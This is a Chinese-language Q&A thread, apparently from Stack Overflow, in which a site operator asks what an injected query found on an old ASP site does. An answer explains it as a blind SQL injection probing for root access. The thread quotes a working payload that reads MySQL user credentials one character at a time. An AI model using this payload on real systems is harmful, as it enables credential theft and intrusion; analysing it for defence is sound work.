这个SQL注入是做什么的?

Nei*_* M. 6 mysql sql-injection

长话短说,通过一个旧的asp站点,我运行的人发现了一个未经过滤的URL参数,并能够运行此查询.我想弄清楚它做了什么......

查询应为:

select * from reserve where id = 345
Run Code Online (Sandbox Code Playgroud)

跑的那个是:

select * from reserve where id = 345 and ascii(substring((select concat(user,0x3a,password,0x3a,host) from mysql.user limit 0,1),17,1))=53
Run Code Online (Sandbox Code Playgroud)

我真的不确定这会得到什么.任何输入?

Mic*_*ski 5

它可能正在探测Web应用程序是否正在访问数据库root.ascii(substring())以root身份运行时,删除部分将返回以下内容:

mysql> select concat(user,0x3a,password,0x3a,host) from mysql.user limit 0,1;
+--------------------------------------+
| concat(user,0x3a,password,0x3a,host) |
+--------------------------------------+
| root:<rootpw-hash>:localhost         |
+--------------------------------------+
Run Code Online (Sandbox Code Playgroud)

在成功探测之后,他们可能会尝试检索mysql.user 他们可以从中开始破解彩虹表密码的内容.